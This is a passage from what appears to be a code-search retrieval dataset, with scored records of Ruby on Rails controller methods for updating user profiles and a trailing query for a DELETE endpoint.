logger.info(\"User.full_name: #{@user.full_name}, param: #{params[:user][:full_name]}\")\n initial_run = true if @user.full_name.nil? and params[:user][:full_name] != nil\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'Updated your profile.'\n\n format.html {\n logger.info(\"Initial run? #{initial_run}\")\n redirect_to dashboard_path and return\n }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d2067732817dde61980ecfb3855ef06", "score": "0.69837964", "text": "def update\n user = User.find(params[\"user_id\"])\n team = Team.find_by(club_name: params[\"team\"])\n if user\n # byebug\n updated_user = User.update(params[\"user_id\"],\n username:params[\"username\"], \n bio:params[\"bio\"], \n team_id:team.id, \n avatar:params[\"avatar\"])\n render json: { user: updated_user }\n else\n render json: { error: 'failed to update profile' }, status: :not_acceptable\n end\n end", "title": "" }, { "docid": "e8101c16ba47b95971d287c5a32e6e71", "score": "0.6980873", "text": "def updateProfile\n \t\t# Ensure user is logged in to view this page\n\t\tif(session.has_key?(\"logged_in\"))\n\t\t\t# If the user is not logged in redirect to homepage\n\t\t\tif(session['logged_in'] != 1) \n\t\t\t\tredirect_to url_for(:controller => :home, :action => :showHome)\n\t\t\tend\n\n\t\t\t# Get user id and details\n\t\t\tuserID = session['user_id']\n\t\t\t@username = User.find(userID).username\n\t\t\t@email = User.find(userID).email\n\t\t\t@website_link = User.find(userID).website_link\n\t\t\t@description = User.find(userID).description\n\n\t\telse\n\t\t\tredirect_to url_for(:controller => :home, :action => :showHome)\n\t\tend\n \tend", "title": "" }, { "docid": "db649ea06331747c7787f0490c21675d", "score": "0.697127", "text": "def set_userinfo\n # @userinfo = Userinfo.find(params[:id])\n @userinfo = Userinfo.find(current_user.id)\n end", "title": "" }, { "docid": "a161c5b92cacffa13fe1efb264b2c723", "score": "0.69609934", "text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n # Update user information after setting changed. Added by Brandon. 2012/03/07.\n @user = User.find(params[:id])\n session[:user_id] = @user.id\n session[:user_email] = @user.email\n session[:screen_name] = @user.screen_name\n \n format.html { redirect_to home_feeds_path, notice: 'You information has been updated sucessfully.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "52d6bfb17c742ce103adb5e09a0227e3", "score": "0.69583744", "text": "def update\n user = current_user\n user.update(update_user_params) if user\n end", "title": "" }, { "docid": "32f8a45ad12e5c722f255c6a072d015d", "score": "0.6957131", "text": "def update\n if params[:id].to_i == current_user.id \n attrs = {}\n [:fullname, :password, :password_confirmation].each{ |key|\n attrs[key] = params[key] if params[key]\n }\n if params[:password] and not params[:password].empty?\n current_user.update_attributes(attrs)\n else\n current_user.update_attribute(:fullname, attrs[:fullname])\n end\n\n render :json => current_user\n else\n error 'Failed to update'\n end\n end", "title": "" }, { "docid": "a3deee0f9eb1df7cba6f1a6e7a242ecd", "score": "0.6948512", "text": "def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n $statsd.increment 'user.updated'\n respond_with(@user, :location => admin_user_path(@user))\n end", "title": "" }, { "docid": "a99476193501393e22d89f9d6c02302e", "score": "0.69419056", "text": "def update\n if session[:user_id]\n @user = User.find(session[:user_id])\n user = params[:user]\n @user.name = user[:name]\n @user.email = user[:email]\n @user.address = user[:address]\n @user.city = user[:city]\n @user.state = user[:state]\n @user.zip = user[:zip]\n if @user.save\n redirect_to profile_path, notice: 'User was successfully updated.'\n else\n render action: \"account\"\n end\n end\n end", "title": "" }, { "docid": "79f4531b85c4ecf3c5f2478661238d8c", "score": "0.6939527", "text": "def update\n #@user = current_user\n if params[:id] && current_user && current_user.admin?\n @user = User.find(params[:id])\n @user.first_name = params[:user][:first_name]\n @user.last_name = params[:user][:last_name]\n else\n @user = current_user\n assign_user_object\n end\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n #flash[:notice] = \"Successfully updated profile.\"\n format.html { redirect_to(user_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0d787750ab9817359af3ddc5d16f8045", "score": "0.6933387", "text": "def update\n pending_attrs = [:name, :email, :login_id, :sis_user_id]\n\n begin\n edit_user_response = edit_user_on_canvas if name_or_email_changed?\n pending_attrs = [:login_id, :sis_user_id] # We updated name and email.\n rescue LMS::Canvas::CanvasException => e\n render_update_user_exception(:edit_user, e)\n return\n end\n\n begin\n if login_id_or_sis_id_changed?\n # This ID is the ID of the login record; it's different from the user's login ID.\n numeric_login_id = find_canvas_user_login[\"id\"]\n edit_user_login_response = edit_user_login_on_canvas(numeric_login_id)\n end\n pending_attrs = [] # We updated login_id and sis_user_id.\n rescue LMS::Canvas::CanvasException => e\n render_update_user_exception(:edit_user_login, e)\n return\n end\n\n render(\n json: {\n id: params[:id],\n name: edit_user_response&.[](\"name\") || @canvas_user[:name],\n login_id: edit_user_login_response&.[](\"unique_id\") || @canvas_user[:login_id],\n sis_user_id: edit_user_login_response&.[](\"sis_user_id\") || @canvas_user[:sis_user_id],\n email: edit_user_response&.[](\"email\") || @canvas_user[:email],\n is_account_admin: user_being_changed_is_account_admin?,\n },\n status: :ok,\n )\n ensure\n log_user_change(failed_attrs: pending_attrs)\n end", "title": "" }, { "docid": "415fd8d2529d4b788a86cee85a788262", "score": "0.69303477", "text": "def update\n @user_info = UserInfo.find(params[:id])\n\n respond_to do |format|\n if @user_info.update_attributes(params[:user_info])\n format.html { redirect_to @user_info, notice: 'User info was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_info.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "66759a6480c8a8a8f1d2d00346e6a5e3", "score": "0.693029", "text": "def update_account\n @user = current_user\n @user.updating_names = true\n @user.update_attributes(user_params_list)\n @user.remove_errormessages_added_by_spree\n end", "title": "" }, { "docid": "4f7b317d76755aded26c91149b9457be", "score": "0.6928729", "text": "def update\n if current_user.is_admin?\n if @user.update(user_parames)\n Notificacion.cambio(@user).deliver\n flash[:notice] = \"User updated successfully.\" \n redirect_to admins_path\n else\n flash[:notice] = \"Wrong data or less password to 8 characters.\"\n render :action => 'edit'\n end\n end\n end", "title": "" }, { "docid": "70bc7790cae24cfbde837992ea402f70", "score": "0.69269794", "text": "def update\n\n\t\tauthorize current_user\n\t\tif not current_user.is_active\n\t\t\tredirect_to users_path, :alert => t( \"controllers.users.actions.update.inactive_user\" )\n\t\t\treturn\n\t\tend\n\n\t\tresult = super\n\t\tcurrent_user.person.update( params[ :user ][ :person ].permit( \"first_name\" ) )\n\t\tresult\n\tend", "title": "" }, { "docid": "fc0f39f918df73dd51cfeaa86b3a4b50", "score": "0.6925425", "text": "def update\n # retrieve user data from request (params)\n email = params[:email]\n\n # query DB for the specific user \n user = User.where(:email => email)\n\n @user = user.update(user_params) #update the user \n json_response(@user) # return created user, to signify that the user was updated\n end", "title": "" }, { "docid": "7aadb29a3d86d842c6335af0b0030a6c", "score": "0.69221216", "text": "def update_user(username, given_name, family_name, password=nil, passwd_hash_function=nil, admin=nil, suspended=nil, changepasswd=nil, quota=nil)\n\t\t\tmsg = RequestMessage.new\n\t\t\tmsg.about_login(username,password,passwd_hash_function,admin,suspended, changepasswd)\n\t\t\tmsg.about_name(family_name, given_name)\n\t\t\tmsg.about_quota(quota) if quota\n\t\t\tmsg.add_path('https://'+@@google_host+@action[:user_update][:path]+username)\n\t\t\tresponse = request(:user_update,username,@headers, msg.to_s)\n\t\t\tuser_entry = UserEntry.new(response.elements[\"entry\"])\n\t\tend", "title": "" }, { "docid": "3b40936933ce7e0d6b72f25bf2b92507", "score": "0.6920586", "text": "def update_user_data\n puts \"Update user data\"\n self.user_course.update_exp_and_level_async\n end", "title": "" }, { "docid": "cb84c0682d1637df60e31a29009c0862", "score": "0.6912587", "text": "def update\n \t@user = current_user\n \t@user.update(user_params)\n\t\tredirect_to user_path(@user)\n end", "title": "" }, { "docid": "5fc2802282dc21cf70bef2c160ede43a", "score": "0.69106746", "text": "def update\n\n unless @user == current_user\n redirect_to @user, notice: 'You cannot update this user'\n return\n end\n\n respond_to do |format|\n\n if user_params[:name].nil? and @user.update(user_params)\n\n modify_entry_successfully(@user, 'User was successfully updated.' , format)\n else\n\n\n modify_entry_fails(@user, 'edit', format)\n end\n\n end\n end", "title": "" }, { "docid": "15e3af05176c0dd23d0d3d97b8422757", "score": "0.691053", "text": "def update_about_info\n user_id = params[:user][:id]\n about_info = params[:user][:about_info]\n user = User.find_by_id(user_id)\n user.update(about_info: about_info)\n render :show\n end", "title": "" }, { "docid": "c8c8becf2881dc769e3a2085a7beb469", "score": "0.690843", "text": "def update\n flash[:notice] = \"User was successfully updated.\" if @user.update(params[:user])\n respond_with @user, location: lodge_members_path(current_lodge.sub_domain)\n end", "title": "" }, { "docid": "e0afe745db0153cda9924844d0d50d12", "score": "0.6906494", "text": "def update_username(username)\n @username = username\n end", "title": "" }, { "docid": "e0afe745db0153cda9924844d0d50d12", "score": "0.6906494", "text": "def update_username(username)\n @username = username\n end", "title": "" }, { "docid": "366f0c13063e0fbab41d2839a2f9ef0d", "score": "0.69058895", "text": "def update\n if @user.update(user_params)\n render status: :ok, json: @user\n else\n self.send(:edit)\n end\n end", "title": "" }, { "docid": "e05871045c200e50299e3c83188663a2", "score": "0.6904478", "text": "def update\n @user_info = UserInfo.find(params[:id])\n\n if @user_info.update_attributes(user_info_params)\n head :no_content\n else\n render json: @user_info.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "cf9845587b135b2f8ea21a713513e86e", "score": "0.6904158", "text": "def update\n raise \"User does not exist\" unless @id\n QuestionsDatabase.instance.execute(<<-SQL, @fname, @lname, @id)\n UPDATE\n users\n SET\n fname = ?, lname = ?\n WHERE\n id = ?\n SQL\n User.find_by_id(@id)\n end", "title": "" }, { "docid": "91aa1e8becf218dee7b2f5dc71ff4820", "score": "0.6902665", "text": "def update \n @screen = session.active_screen\n @form_content_reuse = params[:form_content_reuse]\n \n @user = User.find(params[:user_id])\n \n if @user.login =~ /tsestaff/\n @user.errors.add @user.login, 'cannot be modified'\n else\n @from_user_info = params[:from_user_info]\n\n params[:user]['disabled_flag'] = CustomFields::CheckBox.true_or_false?(params[:user]['disabled_flag']).to_s\n\n @user.update_attributes(params[:user])\n end\n\n respond_to do |format|\n format.html # update.html.erb\n format.xml { render :xml => @user }\n end\n end", "title": "" }, { "docid": "0c1d88a6a4cf4a5aff00bdd4b67eed08", "score": "0.69023114", "text": "def update\n if @user.update(user_params)\n render(json: @user.as_json, status: :ok) \n else\n render(json: {error: \"Erro ao atualizar usuário\"}, status: :ok) \n end\n end", "title": "" }, { "docid": "b69a322a893f14c1b637bef9dd6c2c98", "score": "0.6901743", "text": "def update\n get_master_context\n @user = User.find(params[:id])\n if @user.nil? || @user.master != @master\n raise NotFoundError.new(\"User #{params[:id]} not found\")\n end\n authorize_muni_admin!(:edit, @user)\n\n @roles = User::ROLE_SYMBOLS\n\n # Security, don't let anything other than these keys get assigned.\n # We don't want some bogon changing the master_id, etc.\n params[:user].slice!(:email, :name, :role_symbols)\n @alt = params[:alt]\n\n @user.update_attributes(params[:user])\n end", "title": "" }, { "docid": "d5a47aa4ca85f76021a1d4fe51ae4c88", "score": "0.6897231", "text": "def update\n logger.debug '> Users: update'\n\tif params[\"current_password\"].present?\n\t\tauth = authenticate(params)\n\t\ttoast_error(cockpits_path,\"Your current password is incorrect.\") unless auth\n\t\treturn unless auth\n\tend\n Api::Accounts.new.update(params) do |acct|\n toast_success(cockpits_path,\"#{Api::Accounts.typenum_to_s(params[:myprofile_type])} updated successfully.\")\n end\n end", "title": "" }, { "docid": "6647724842c70d73689e895705aa46e6", "score": "0.6897166", "text": "def update\n if Spree::User.exists?(params[:id])\n user = Spree::User.find(params[:id])\n logger.debug \"user\"\n\n logger.debug user.luxire_customer[:first_name]\n logger.debug \"end\"\n\n # user.luxire_customer.first_name = params[:user][:first_name] if params[:user][:first_name]\n # user.luxire_customer.last_name = params[:user][:last_name] if params[:user][:last_name]\n # user.first_name = params[:user][:first_name]\n # user.last_name = params[:user][:last_name]\n user.save\n @User = user\n else\n @user_does_not_exist = true\n end\n end", "title": "" }, { "docid": "eff7f272a57f0288ade8c1f4ae06d869", "score": "0.6895796", "text": "def updaterole\n\t @user = User.find(params[:id])\n\t if @user.update_attribute(:name, params[:user][:name])\n\t flash[:success] = \"Changes have been made successfully\"\n\t redirect_to @user\n\t else\n\t render 'edit'\n\t end\n\n\t end", "title": "" } ]
3c4d8099a25714c0c32f1f885b3d8177
Detail view delegate method
[ { "docid": "183fe9c798e9b099996e09869eebbe09", "score": "0.0", "text": "def detailViewControllerDone(detailViewController)\n \n item = detailViewController.titleText\n description = detailViewController.descriptionText\n \n @description[item] = description\n\n path = self.tableView.indexPathForSelectedRow\n cell = self.tableView.cellForRowAtIndexPath(path)\n \n cell.textField.text = description if cell\n \n end", "title": "" } ]
[ { "docid": "599c466a8cf687bf65005ca5257bbf60", "score": "0.7101865", "text": "def detail; end", "title": "" }, { "docid": "599c466a8cf687bf65005ca5257bbf60", "score": "0.7101865", "text": "def detail; end", "title": "" }, { "docid": "599c466a8cf687bf65005ca5257bbf60", "score": "0.7101865", "text": "def detail; end", "title": "" }, { "docid": "599c466a8cf687bf65005ca5257bbf60", "score": "0.7101865", "text": "def detail; end", "title": "" }, { "docid": "599c466a8cf687bf65005ca5257bbf60", "score": "0.7101865", "text": "def detail; end", "title": "" }, { "docid": "17d47bff313dbe875382f35e6f357e77", "score": "0.6841124", "text": "def detailAction(opts, data, config)\n view_name = 'detail_view'\n self.output(data, config, view_name) { | view_name |\n tpl = loadTpl(view_name)\n }\n end", "title": "" }, { "docid": "f507a442cb7debf7e022d7a2c5201aca", "score": "0.6734091", "text": "def detail\n @detail\n end", "title": "" }, { "docid": "b4cd663a9e6b36a779e37063f333df2d", "score": "0.6682328", "text": "def show_details\n @selected.details\n end", "title": "" }, { "docid": "daed6b9a3d6634b5274f64e4bd6d5d6d", "score": "0.65481174", "text": "def on_show; end", "title": "" }, { "docid": "38ba29fb4d2dd24e2b8da5bcfa06cf17", "score": "0.6421307", "text": "def show\n @detail_view = Photo.find(params[:id])\n end", "title": "" }, { "docid": "2cc5b6a4324aea712e6f9ef5cf970e3b", "score": "0.63742083", "text": "def call_update_detail\n if self.active and @detail_window != nil and self.is_switchable\n update_detail\n end\n end", "title": "" }, { "docid": "2cc5b6a4324aea712e6f9ef5cf970e3b", "score": "0.63742083", "text": "def call_update_detail\n if self.active and @detail_window != nil and self.is_switchable\n update_detail\n end\n end", "title": "" }, { "docid": "1b74b887cc6173a2d2a3f70a6d9c0d77", "score": "0.6334892", "text": "def detail\n\tif @sub != nil and @leader != nil\n\t\t@title = \"Details\"\n\t\t@score = @leader.score(@sub.id,@type);\n\t\t@votes = @leader.vote_count(@sub.id, @type);\n\t\t@score_all = @leader.fetch_score_all(@sub.id, @type);\n\t\t@votes_all = @leader.fetch_vote_count_all(@sub.id, @type);\n\t\t@comments = Comment.model_gen(@type).sorted(@leader.id, @sub.id)\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.js\n\t\tend\n\tend\n end", "title": "" }, { "docid": "1e8d96dea741f8c70ca77df3fc381693", "score": "0.6333069", "text": "def update_detail\n end", "title": "" }, { "docid": "1e8d96dea741f8c70ca77df3fc381693", "score": "0.6333069", "text": "def update_detail\n end", "title": "" }, { "docid": "63ffbd25463d66d8468c2bf3bfcc7477", "score": "0.63321626", "text": "def draw_special_detail\n end", "title": "" }, { "docid": "476390e4d86e009eb271f91a2244fb5d", "score": "0.63025177", "text": "def show_details(db, options = {}) # Pass in the db, parent vm is in @vm\n association = options[:association]\n conditions = options[:conditions]\n # generate the grid/tile/list url to come back here when gtl buttons are pressed\n @gtl_url = \"/#{@db}/#{@listicon.pluralize}/#{@record.id}?\"\n @showtype = \"details\"\n @display = \"main\"\n @no_checkboxes = @no_checkboxes.nil? || @no_checkboxes\n @showlinks = true\n\n @view, @pages = get_view(db,\n :parent => @record,\n :association => association,\n :conditions => conditions,\n :dbname => \"#{@db}item\") # Get the records into a view & paginator\n\n if @explorer # In explorer?\n @refresh_partial = \"vm_common/#{@showtype}\"\n replace_right_cell\n else\n if pagination_request?\n replace_gtl_main_div\n elsif request.xml_http_request?\n # reload toolbars - AJAX request\n c_tb = build_toolbar(center_toolbar_filename)\n render :update do |page|\n page << javascript_prologue\n page.replace(\"flash_msg_div\", :partial => \"layouts/flash_msg\")\n page.replace_html(\"main_div\", :partial => \"shared/views/ems_common/show\") # Replace main div area contents\n page << javascript_pf_toolbar_reload('center_tb', c_tb)\n page.replace_html(\"paging_div\",\n :partial => 'layouts/pagingcontrols',\n :locals => {:pages => @pages,\n :action_url => @lastaction,\n :db => @view.db,\n :headers => @view.headers})\n end\n elsif controller_name == \"ems_cloud\"\n render :template => \"shared/views/ems_common/show\"\n else\n render :action => \"show\"\n end\n end\n end", "title": "" }, { "docid": "f7ce71d8e642edae3f938776cb114b68", "score": "0.6281605", "text": "def detail\n @data['detail']\n end", "title": "" }, { "docid": "fd1a72edbf2cc657d4de51ecc9285519", "score": "0.6225761", "text": "def view_details\n @ngo = Ngo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "title": "" }, { "docid": "b911e11fbfaa2350f64077e96dffc834", "score": "0.62184286", "text": "def toggle_details \n criteria = session[:toggle_details] ? \"Expanded\" : \"List\"\n link_to_function( \"#{criteria} view\", \"toggle_details()\", :id => 'toggle_details' )\n\tend", "title": "" }, { "docid": "d53fa2f06d8eac233e1a4e46eb166bfe", "score": "0.621764", "text": "def detail=(value)\n @detail = value\n end", "title": "" }, { "docid": "77a56d4b034b008c8fa3326077209bc4", "score": "0.6204203", "text": "def details\n # renders static page\n end", "title": "" }, { "docid": "c29fb9d46e528dd50d272167ca9088dc", "score": "0.6199735", "text": "def detail\n return @detail\n end", "title": "" }, { "docid": "b07d552b4bcb444323a41af90268de5f", "score": "0.61773765", "text": "def show\n \t\tsuper\n \tend", "title": "" }, { "docid": "80363631cebade0e9ef3f8882509b99d", "score": "0.6142696", "text": "def details; end", "title": "" }, { "docid": "80363631cebade0e9ef3f8882509b99d", "score": "0.6142696", "text": "def details; end", "title": "" }, { "docid": "80363631cebade0e9ef3f8882509b99d", "score": "0.6141594", "text": "def details; end", "title": "" }, { "docid": "32c8abe4cc1c075fd8bc3317ab8351a8", "score": "0.6130519", "text": "def set_detail\n @detail = Detail.find(params[:id])\n end", "title": "" }, { "docid": "32c8abe4cc1c075fd8bc3317ab8351a8", "score": "0.6130519", "text": "def set_detail\n @detail = Detail.find(params[:id])\n end", "title": "" }, { "docid": "d837b9bb7b70335ecee862c2e6126313", "score": "0.6129787", "text": "def show\n prepare_infos\n end", "title": "" }, { "docid": "0f43d23dc15d699f1ef3c1a0291f4c55", "score": "0.6126944", "text": "def show_details\n @id = params[:id]\n @rightsholder = Rightsholder.new(@id)\n @party = Party.get_party(@id)\n @notes = @party.active_notes\n @contacts = @party.active_contacts\n @trimrecords = @party.active_trimrecords\n render :partial => \"details.html\"\n end", "title": "" }, { "docid": "4ca60ef3cc5ac4f8ce740db244c54a10", "score": "0.610684", "text": "def draw_specific_details\n end", "title": "" }, { "docid": "96f34e6134cc8430bc90f6dce054df13", "score": "0.6093803", "text": "def detail \n\t\t@post = Post.find(params[:id]) \n\t\t\n\t\trespond_to do |format| \n\t\t\tformat.html # show.html.erb \n\t\t\tformat.xml { render :xml => @post } \n\t\tend \n\tend", "title": "" }, { "docid": "633a2e25a396b24fbdb4a266746c67a3", "score": "0.6084238", "text": "def fetch_details\n super\n end", "title": "" }, { "docid": "dc7130eceb05c6a931223aaf2ede54ad", "score": "0.6082246", "text": "def set_detail\n @detail = Detail.friendly.find(params[:id])\n end", "title": "" }, { "docid": "f049eb7584e46219244e99f7a9ac49d1", "score": "0.6032073", "text": "def detail=(value)\n @detail = value\n end", "title": "" }, { "docid": "f049eb7584e46219244e99f7a9ac49d1", "score": "0.60309535", "text": "def detail=(value)\n @detail = value\n end", "title": "" }, { "docid": "ad7e98255b6675a64b800ec1defe7c5c", "score": "0.602026", "text": "def show_details(db, options = {})\n association = options[:association]\n scopes = options[:scopes]\n @showtype = \"details\"\n @display = \"main\"\n @no_checkboxes = @no_checkboxes.nil? || @no_checkboxes\n @showlinks = true\n @view, @pages = get_view(db,\n :parent => @record,\n :association => association,\n :named_scope => scopes,\n :dbname => \"#{@db}item\") # Get the records into a view & paginator\n\n if @explorer # In explorer?\n @refresh_partial = \"vm_common/#{@showtype}\"\n replace_right_cell\n elsif request.xml_http_request?\n # reload toolbars - AJAX request\n render :update do |page|\n page << javascript_prologue\n page.replace(\"flash_msg_div\", :partial => \"layouts/flash_msg\")\n page << \"miqScrollTop();\" if @flash_array.present?\n page.replace_html(\"main_div\", :partial => \"shared/views/ems_common/show\") # Replace main div area contents\n page << javascript_reload_toolbars\n page.replace_html(\"paging_div\",\n :partial => 'layouts/pagingcontrols',\n :locals => {:pages => @pages,\n :action_url => @lastaction,\n :db => @view.db,\n :headers => @view.headers})\n end\n elsif controller_name == \"ems_cloud\"\n render :template => \"shared/views/ems_common/show\"\n else\n render :action => \"show\"\n end\n end", "title": "" }, { "docid": "cf1b35d66215af4c8bbe0673302c9a93", "score": "0.5999183", "text": "def set_detail_page\n @detail_page = Product.find(params[:id])\n end", "title": "" }, { "docid": "91bd976050484d101637b62c77812262", "score": "0.5998778", "text": "def show\t\t\n\t\t\tend", "title": "" }, { "docid": "cb2cb0418604df1b2aaa99adf20f562f", "score": "0.59959155", "text": "def show_details(selected)\n return @selected.details\n end", "title": "" }, { "docid": "37ed599738f7cd63bd1f67c654c36bd6", "score": "0.59957564", "text": "def additional_details\n\n end", "title": "" }, { "docid": "91286e9107dc2301c9323fba6becee36", "score": "0.59864956", "text": "def detail\n attributes.fetch(:detail)\n end", "title": "" }, { "docid": "91286e9107dc2301c9323fba6becee36", "score": "0.59864956", "text": "def detail\n attributes.fetch(:detail)\n end", "title": "" }, { "docid": "91286e9107dc2301c9323fba6becee36", "score": "0.59864956", "text": "def detail\n attributes.fetch(:detail)\n end", "title": "" }, { "docid": "91286e9107dc2301c9323fba6becee36", "score": "0.59864956", "text": "def detail\n attributes.fetch(:detail)\n end", "title": "" }, { "docid": "530cb6556b0b3c05b6afe464146c2d0b", "score": "0.59828186", "text": "def show\n \n \n end", "title": "" }, { "docid": "530cb6556b0b3c05b6afe464146c2d0b", "score": "0.59828186", "text": "def show\n \n \n end", "title": "" }, { "docid": "c2e5718b189e7896f10d871e94fc4b91", "score": "0.5981433", "text": "def show\n end", "title": "" }, { "docid": "afc3093d5d3345b21a70ddc98dcceec5", "score": "0.5966958", "text": "def details\n render :layout => false #Disable the default layout\n # @stylesheet = 'more_info' #Set the stylesheet\n end", "title": "" }, { "docid": "c48a7e24c566bd9579017c85a82cb758", "score": "0.59641623", "text": "def detail_url\n @hash[\"detailUrl\"]\n end", "title": "" }, { "docid": "ba5a187f979bcd6b1a1b19cf45e71056", "score": "0.5953897", "text": "def show\r\n\t end", "title": "" }, { "docid": "096fbc99252247d9590703376177438d", "score": "0.59518206", "text": "def show\n \n \n end", "title": "" }, { "docid": "ca245623903c689d9a7f0ec27d011941", "score": "0.59517574", "text": "def show\n\n \n end", "title": "" }, { "docid": "fcf25d85ad43ef80299cd8caf5ae97f4", "score": "0.5951014", "text": "def index\n @show_detail = false\n end", "title": "" }, { "docid": "cbfce7f076907da08751a8774c88fa47", "score": "0.5942118", "text": "def show\n\t\t\n end", "title": "" }, { "docid": "cbfce7f076907da08751a8774c88fa47", "score": "0.5942118", "text": "def show\n\t\t\n end", "title": "" }, { "docid": "4e02dc57fbbacf3302f2c0dceedfe05b", "score": "0.59370035", "text": "def index\n @details = Detail.all\n end", "title": "" }, { "docid": "4e02dc57fbbacf3302f2c0dceedfe05b", "score": "0.59370035", "text": "def index\n @details = Detail.all\n end", "title": "" }, { "docid": "d410214fc480f452c2f057ae5f8a5b4f", "score": "0.59356904", "text": "def show\n end", "title": "" }, { "docid": "d410214fc480f452c2f057ae5f8a5b4f", "score": "0.59356904", "text": "def show\n end", "title": "" }, { "docid": "d410214fc480f452c2f057ae5f8a5b4f", "score": "0.59356904", "text": "def show\n end", "title": "" }, { "docid": "d410214fc480f452c2f057ae5f8a5b4f", "score": "0.59356904", "text": "def show\n end", "title": "" }, { "docid": "d410214fc480f452c2f057ae5f8a5b4f", "score": "0.59356904", "text": "def show\n end", "title": "" }, { "docid": "d410214fc480f452c2f057ae5f8a5b4f", "score": "0.59356904", "text": "def show\n end", "title": "" }, { "docid": "d410214fc480f452c2f057ae5f8a5b4f", "score": "0.59356904", "text": "def show\n end", "title": "" }, { "docid": "d410214fc480f452c2f057ae5f8a5b4f", "score": "0.59356904", "text": "def show\n end", "title": "" }, { "docid": "fb4b34ac4e811f4db6da4d5e55736153", "score": "0.5933237", "text": "def show\n end", "title": "" }, { "docid": "fb4b34ac4e811f4db6da4d5e55736153", "score": "0.5933237", "text": "def show\n end", "title": "" }, { "docid": "ccd51ac6bac7cdcbc27bd469523d38f0", "score": "0.5930572", "text": "def show\n @section_title = 'Detail'\n @event_photo = EventPhoto.find(params[:id])\n end", "title": "" }, { "docid": "5bb5a0979dc7c882371198a381787a60", "score": "0.5927571", "text": "def show\r\n\r\n end", "title": "" }, { "docid": "5bb5a0979dc7c882371198a381787a60", "score": "0.5927571", "text": "def show\r\n\r\n end", "title": "" }, { "docid": "f8304f96715aed97f145ae763b6460b4", "score": "0.5926374", "text": "def show\n \n \n end", "title": "" }, { "docid": "bb20da1b52e9c3362efdbfeca3e98322", "score": "0.5912245", "text": "def show\n \n end", "title": "" }, { "docid": "bb20da1b52e9c3362efdbfeca3e98322", "score": "0.5912245", "text": "def show\n \n end", "title": "" }, { "docid": "bb20da1b52e9c3362efdbfeca3e98322", "score": "0.5912245", "text": "def show\n \n end", "title": "" }, { "docid": "bb20da1b52e9c3362efdbfeca3e98322", "score": "0.5912245", "text": "def show\n \n end", "title": "" }, { "docid": "bb20da1b52e9c3362efdbfeca3e98322", "score": "0.5912245", "text": "def show\n \n end", "title": "" }, { "docid": "bb20da1b52e9c3362efdbfeca3e98322", "score": "0.5912245", "text": "def show\n \n end", "title": "" }, { "docid": "bb20da1b52e9c3362efdbfeca3e98322", "score": "0.5912245", "text": "def show\n \n end", "title": "" }, { "docid": "d6c580681663ceb42646a9f228f20af0", "score": "0.5910547", "text": "def show\n\n \t\t\t\n\n \t\tend", "title": "" }, { "docid": "018ca7b24f1bd8bef2d2c449ff6fec2e", "score": "0.5909758", "text": "def show\n @section_title = 'Detail'\n @event = Event.find(params[:id])\n end", "title": "" }, { "docid": "2f0c191a3657cfa2953c5d94590683de", "score": "0.5903626", "text": "def show \n end", "title": "" }, { "docid": "a09ce2f1f65d2abc54890620e95ca5a9", "score": "0.59021497", "text": "def show \r\n end", "title": "" }, { "docid": "b9ced6e4b6c0ba072d12250d60817ace", "score": "0.59002274", "text": "def show\n @detail = Detail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @detail }\n end\n end", "title": "" }, { "docid": "b9ced6e4b6c0ba072d12250d60817ace", "score": "0.59002274", "text": "def show\n @detail = Detail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @detail }\n end\n end", "title": "" }, { "docid": "e88e79930000b225c8da54adc067b4d3", "score": "0.58971065", "text": "def detail\n read_attr :detail\n end", "title": "" }, { "docid": "98b3f969bd46358ece3c5387ac1c6f2e", "score": "0.5892953", "text": "def show\n \n \n end", "title": "" }, { "docid": "cd601c43e3d0060b04e4b20ff4eb871e", "score": "0.5889051", "text": "def show\n \n end", "title": "" }, { "docid": "cd601c43e3d0060b04e4b20ff4eb871e", "score": "0.5889051", "text": "def show\n \n end", "title": "" }, { "docid": "dc57ae332abdde8bef9e157426a81773", "score": "0.588774", "text": "def show\n\t\n end", "title": "" }, { "docid": "dc57ae332abdde8bef9e157426a81773", "score": "0.588774", "text": "def show\n\t\n end", "title": "" }, { "docid": "dc57ae332abdde8bef9e157426a81773", "score": "0.588774", "text": "def show\n\t\n end", "title": "" }, { "docid": "0c1bdd797a4ac5dad1f27e6184de8303", "score": "0.58824766", "text": "def show\n\n \n\n end", "title": "" }, { "docid": "0c1bdd797a4ac5dad1f27e6184de8303", "score": "0.58824766", "text": "def show\n\n \n\n end", "title": "" }, { "docid": "4dcb449114c935a5bb3bda5066458ad3", "score": "0.5873858", "text": "def show\n\n \n end", "title": "" }, { "docid": "4dcb449114c935a5bb3bda5066458ad3", "score": "0.5873858", "text": "def show\n\n \n end", "title": "" }, { "docid": "7d456685d3c1354ce16201bad205e08a", "score": "0.58711827", "text": "def show\n\t\t\n\tend", "title": "" }, { "docid": "088174f150876ebf1ea4020356f39fb9", "score": "0.5869813", "text": "def do_show\n super\n end", "title": "" }, { "docid": "c39c335aa52b9f107bedc4e8418ad30c", "score": "0.58665234", "text": "def show \n \n end", "title": "" }, { "docid": "9f859745cb28ed45379ca14c6222f8fa", "score": "0.586225", "text": "def detail\n @product = Product.find params[:id]\n @product_colors = @product.product_colors\n @similar_items = @product.similar_items\n @title = @product.name\n render :layout => 'customer'\n end", "title": "" } ]
4991f3d5bcf434343db8cbb1aa70cb9d
DELETE /prints/1 DELETE /prints/1.json
